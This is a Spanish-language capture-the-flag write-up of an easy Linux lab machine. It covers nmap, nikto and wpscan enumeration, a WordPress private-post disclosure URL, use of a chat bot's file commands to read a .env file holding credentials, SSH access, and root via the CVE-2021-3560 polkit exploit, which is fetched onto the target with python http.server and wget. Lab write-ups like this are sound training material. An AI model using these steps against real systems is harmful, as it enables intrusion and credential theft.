Table of contents
En esta ocasión tenemos una máquina Linux de dificultad fácil que requiere de un escaneo básico y enumeración para obtener un punto de apoyo en la máquina.
La escalada de privilegios es un proceso relativamente simple y requirió usar la escalada de privilegios de Linux a través de la explotación de la vulnerabilidad CVE-2021–3560.
Reconocimiento
Como siempre, comenzamos lanzando nmap para descubrir puertos abiertos.
nmap -p- -n -Pn --min-rate 5000 10.10.11.143 -sCV --open
Como vemos tenemos los puertos 80, 443 y 22
En el puerto 80 encuentro lo siguiente:
En la página principal no hay nada interesante, lanzo gobuster y no encuentro nada relevante, ninguna ruta ni archivos con extensión…
Decido lanzar nikto para un escaneo más detallado y potente y encuentro esto:nikto -h 10.10.11.143
Tenemos un vhost que añado a al archivo hosts de mi máquina.
Accedemos desde el navegador al vhost y encontramos una web diferente, en concreto, un Wordpress.
Cuando hablamos de Wordpress… Wpscan es la clave!!!
Lanzo wpscan bajo el siguiente comando
wpscan --enumerate --url office.paper
Y además de los usuarios encuentro también la versión de Wordpress.
Explotación
Lo siguiente que hago al saber la versión es buscar posibles vulnerabilidades en la versión Wordpress 5.2.3.
Encuentro una vulnerabilidad que permite leer Posts Privados sin necesidad de estar autenticados en Wordpress.
Usando ciertos parámetros en la url podemos descubrir posts privados.
``http://office.paper/?static=1&order=YYYYMMDD``
Donde encontramos un subdominio y una url.
Lo añadimos al archivo hosts, accedemos a la url y encontramos un formulario de registro.
Me registro y accedo con las credenciales creadas.
Nos encontramos con una especie de chat, buscando encuentro un grupo llamado #general al que accedo.
En el cual hay varios usuarios y lo que parece ser un bot (recyclops).
Leyendo los mensajes del grupo, encuentro varios mensajes enviados por el bot (recyclops) que dicen lo siguiente:
Este bot nos permite ejecutar varios comandos:
list → listar archivos
file → leer archivos
Asique procedo a probar los comandos y a ver que respuesta me devuelve:
Voy listando poco a poco hasta que encuentro lo siguiente:
Voy leyendo diferentes archivos hasta que encuentro dentro de la ruta ../hubot un archivo .env
Y encuentro credenciales que podrían ser válidas para conectarnos por ssh
Al probarlas, no funciona … Pero me fijé en que el propietario de los archivos del servidor es dwight.
Pruebo con dwight y consigo acceder, conexión ssh exitosa.ssh dwight@10.10.11.143
Una vez estamos dentro podremos leer la flag user.txt
Escalada de Privilegios
A continuación me dispongo a escalar privilegios y lanzo el famoso linpeas.sh para buscar posibles formas de escalar.
Y me encuentro con una posible vulnerabilidad
CVE-2021–3560 permite que un atacante local sin privilegios obtenga privilegios de root mediante el uso de polkit.
Referencias
https://github.com/Almorabea/Polkit-exploit
https://www.hackplayers.com/2021/06/escalado-de-privilegios-mediante-polkit.html
Encuentro el exploit, lo descargo y mediante el uso de un servidor de python3 me lo descargo desde la máquina.
Máquina atacantepython3 -m http.server 8080
Máquina Víctima (ssh)wget http://ip-tun0:8080/exploitname.py
Le asigno permisos, lo ejecuto y listo, somos root y podemos leer la flag root.txt.